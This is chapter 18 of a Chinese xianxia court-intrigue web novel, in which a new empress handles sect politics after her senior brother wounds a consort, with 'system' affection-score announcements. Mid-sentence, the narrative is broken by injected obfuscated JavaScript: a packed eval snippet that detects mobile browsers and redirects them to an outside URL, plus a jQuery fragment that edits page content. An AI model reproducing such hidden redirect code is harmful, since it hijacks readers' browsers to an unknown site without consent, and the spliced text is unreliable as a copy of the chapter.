018章


    真是坏事传千里。


    第二天玄微宗就来了人,大家在正殿里坐着,开始时十分寂静。


    沈一元扯了扯袖子上的金纹,低眉垂眼,把袖子上的纹饰都看穿了,也没抬过一次头。


    她左下坐着的成桦,看了她好几次,都是欲言又止。


    她右下坐着的文其谋,文其谋身后坐着周而复和周而始两兄弟,三个男人神情各异,不动声色地看着沈一元。


    成玉度是宗里的人,沈一元也是宗里的,这该是家事。


    但谁让李长鳞掺和进来,李长鳞是东海螣蛇一族的族长二子,他这次伤得很重,螣蛇族现在正要说法呢。


    良久。


    终究还是成桦先开了口,“阿元,都是你师兄的错。”


    沈一元扯袖角的动作一顿。


    成桦:“我已经把他打进宗牢里,每日一百斩灵鞭的受着,待过了三十日再放出来。”


    沈一元抿唇,“师父……”


    成桦叹气,“你若嫌这责罚轻了,等他挨过今日鞭刑,我叫他来给你赔罪。”


    沈一元头疼了,她看向成桦,后者也在看着她。


    “……”


    轮到沈一元叹气了。


    她无力地倚倒在龙座上,虚弱地道:“师父分明是袒护师兄,你明知道弟子心肠最软,不会给师兄那么大的罪受。”


    沈一元这样一说,成桦看着她苍白的脸色,也不由愧上加愧。


    手心手背都是肉啊。


    成桦犹豫未决。


    文其谋轻笑:“毕竟是自己的亲儿子,犯了错又如何,到底还是偏袒些。”


    他话声将落,殿内人脸色俱变。


    成桦怒视对方,沈一元脸色更白。


    周而复看向沈一元,看见她的脸色,微微蹙眉。


    周而始听见自家师父挑拨离间的话,红润的唇角微微勾起。


    成桦起身,对沈一元行礼:“君上不必为难,成玉度有错当罚,他既然敢拿剑闯宫伤人,那便该为自己的鲁莽付出代价!”


    说罢,便要甩袖离开。


    沈一元按捏太阳穴,“师父说什么呢,朕与师兄青梅竹马,感情深厚,自不会为些许小事闹得难堪。师兄深夜闯宫,虽然大不敬,且威胁恐吓,但到底是有情由的。日后再见也难,这次朕便赦他无罪,算是师妹最后的分别之礼罢。”


    成桦背过去的脸先是快速地掠过一丝惊愕。


    她想不到这种恩威并施,充满成熟政客的诡滑之语,会是自己最了解的呆呆弟子说出来的。


    这才坐上这皇位不到一天呐!


    成桦转过身,仍然大为不解地看向沈一元。


    沈一元朝她微笑,脸上睥睨的神情淡漠又刺眼。


    如此熟练贯通啊……


    成桦难以说明自己心头的感觉,她怔了半晌,才勉强启唇:“好……”


    沈一元满意,点点头。


    她笑了,又好像变成了那只什么都不懂的狐狸。


    “师父在此,朕也正好问一句,腾蛇那里我们怎么说?”


    成桦没开口。


    周而始自觉道:“腾蛇是东海霸主,也是我们玄微宗的座上客,这次伤得又不是旁人,可是人家族长的二儿子。事关重大,不给个实际歉礼,怎么显得诚意?”


    “滴,恭喜宿主完成一次性任务【为君分忧(1/1)】,皇帝好感度+1。”


    “当前真心值为:1(聪明。)”


    周而始眨眼,展颜一笑。


    沈一元沉吟:“周师兄以为,给个什么样的歉礼?”


    周而始骄傲抬头,“礼是得给的,罚也得罚。”


    他黑白分明的眼珠转了下,狡狯道:“一百斩灵鞭下去,玉度师兄的修为得散了一半,根骨也必得大损。玉度师兄好歹是我们宗的弟子,既然是自家人,这样重的责罚下去,我们都心疼。不如这样,一百斩灵鞭免了,换上一千的普通鞭打,最后虽只让师兄受些皮肉伤,但在明面上也能混得过去,给腾蛇一个交代。”


    一千的普通鞭打。


    即便不损根骨,这样打完,人怕也烂了。


    沈一元惊讶捂唇,“不可不可,周师兄这一千鞭下去,玉度师兄皮肉都该烂了,不可不可。”


    周而始瘪嘴,“修仙之人,受点皮肉苦如何,大道之上,苦痛才是造化。”


    周而复在一旁低斥:“够了!”


    周而始悻悻作罢。


    文其谋听完弟子的建议,微微一笑,不做什么表示。


    成桦怒容又起,狠狠瞪了眼文其谋,咬牙切齿:“你教的好徒弟!”


    文其谋叹口气,摆手:“孩子大了,管不住啊。”


    他又笑,“你也是有孩子的人,知道我们这些长辈,最是难做。”


    成桦冷笑,转而看向沈一元。


    “阿元,你的意思呢?”


    这是场站队。


    沈一元坐在高处,撑着脑袋,苦恼:“朕年少不经事,这种大事更愿意听长辈们的。”


    皮球又被踢到自己手里了。


    成桦一瞬的寒心,她连声说了几个好字。


    沈一元不忍,又道:“但是师父定是为我好的,师父的话定然更重要些。”


    成桦面色稍松。


    她忖了忖,说:“阿元,师父知道你为难。”


    成桦叹气,想起始作俑者是成玉度,是他把她和沈一元推到现在的地步。


    不气是不可能的。


    但也不能亲眼看着儿子被打烂。


    成桦拱手,正正经经地对沈一元行了个大礼。


    “阿元,师父毕竟……只有玉度这一个孩子。”


    沈一元嘴角微提,她预料到了。


    成桦对她和成玉度最是心软。


    所以师父也为难。


    难,大家都难。


    “师父这样说了,阿元也只能照做。”


    沈一元挥挥手,很疲惫,“师父和尊者都下去罢,剩下的事我来处理。”


    成桦抿唇,“阿元,你才即位不久,你一人,应付的过来吗?”


    文其谋抬眸,同时看向沈一元。


    沈一元略微笑笑,“再难,同门之谊也得顾的。”


    成桦心底竟然觉得君恩浩荡,有种感激。


    她摇摇头,对阿元勉强一笑:“那便……辛苦阿元了。”


    沈一元点点头,“师父早些回去看师兄罢。”


    成桦转身,离去。


    文其谋走下玉阶前,转身看向沈一元。


    沈一元坐在高而深的大殿内,纤瘦的身子被高阔的龙座括住,身上的暗金色龙袍和大殿的色彩混为一体。


    一时分不清她是权势,还是权势是她。


    文其谋微微一笑,低眉转身。


    周而复周而始转身时,看见的景象和文其谋别无二致。


    只是感受各有不同。


    周而始觉得沈一元变聪明了,不好糊弄。


    周而复觉得沈一元很累,应该休息。


    大家都离开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15754295|173772||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。


    大殿内只剩下沈一元一人,沈一元躺在龙椅里,金龙冰冷的龙首顶着她柔软的掌心,她用指腹满满地抚摩着龙首,面露深思。


    外边的天渐渐黑下,大殿内的光影从有到无,最后沈一元陷在黑暗里,两粒黑润的眼珠莹莹地在暗中流转着微荧。


    龙首都被抚出温度了,沈一元方瘫在龙椅里,唉了一声。


    “师兄啊师兄,你看你给我惹的麻烦。”


    ……


    “滴,皇帝对您好感度下降啦!当前真心值为:-10(为何不听话)”


    “噗!”


    成玉度一口黑血喷出,撑着剑的手手背青筋暴起,他抬起脖子,脖子上青紫色的筋脉蜿蜒浮现,用力之至乃红了脸。


    成玉度终究还是狼狈地跌倒,靠着剑支撑,单膝跪在地上,抬起头,望的方向还是圣地皇宫。


    “沈、一、元……”


    被她厌恶,彻彻底底的厌恶,不外乎是一场驱逐。


    他上辈子还能和她吵,这辈子难道连和她争吵的机会都没有了吗?


    不允许,他决不允许!


    ……


    沈一元去看李长鳞。


    李长鳞躺在床上,面无人色。


    他还没醒来。


    沈一元就问随侍一旁的医宗弟子,“他伤好多少了?”


    弟子答:“玉度道友剑性至阴,蛇类也最是性阴,属性不冲,奈何长鳞侍君根底薄弱,承受不住玉度道友剑风,自身根底被对方剑风所冲,日后怕是……”


    “怕是什么?”


    弟子斟酌道:“怕是,再也不能修炼。”


    沈一元皱眉。


    眼底有讥笑迅速浮出,但是被她立刻用伤感压了下去。


    她低声道:“那真是可惜。”


    她看了眼床上的李长鳞,屈尊坐到他床边,握住他冰冷的手,温暖的手指抚摩着他细嫩的脸颊,轻声道:“长鳞,终究是我对不住你。”


    她看起来伤心至极,眼角一滴泪滑了下来。


    旁边的弟子看见,心里一惊,又惊沈一元心思纯澈,又惊沈一元待个刚见面的侍君都如此情重。


    他们修士向来情感单薄的。


    所以他见状,竟觉得艳羡。


    羡慕李长鳞虽然受了重伤,再无修炼前途,但是却能得到沈一元的怜爱。


    他默默不语地看着。


    沈一元道:“劳烦仙侍,将长鳞送到朕的寝殿里。”


    药宗弟子劝解:“这点伤有属下们照看即可,君上何必担忧。而且长鳞仙君是根骨有损,不能轻易活动的。”


    沈一元扭头,面容忧郁,“小心点活动罢。只是朕不看顾着他,总是不放心。”


    感她情深,药宗弟子也就不再顾及李长鳞贸然活动会加重伤势,他唤了其他弟子一起把李长鳞送至沈一元的寝殿里。


    沈一元望着躺在自己龙床上的男人,微微叹息,俯下身轻吻了下对方的额心,呢喃道:“长鳞,快快醒来罢。”


    说罢,她给李长鳞理了理被子,起身出去了。


    待她出去,李长鳞缓缓睁开了双眸。


    他苍白的脸上情绪复杂。


    半晌用指腹抚了抚自己的眉心,沈一元唇瓣的柔软感觉似乎犹在,他喃喃:“……你竟然,你怎会如此……”


    见惯了沈一元凉薄的君王姿态,一时回到彼此情窦初开的年少,都不适应。


    她的柔情,待他而言冲击力不亚于成玉度的那一剑。


    李长鳞心都滴血了。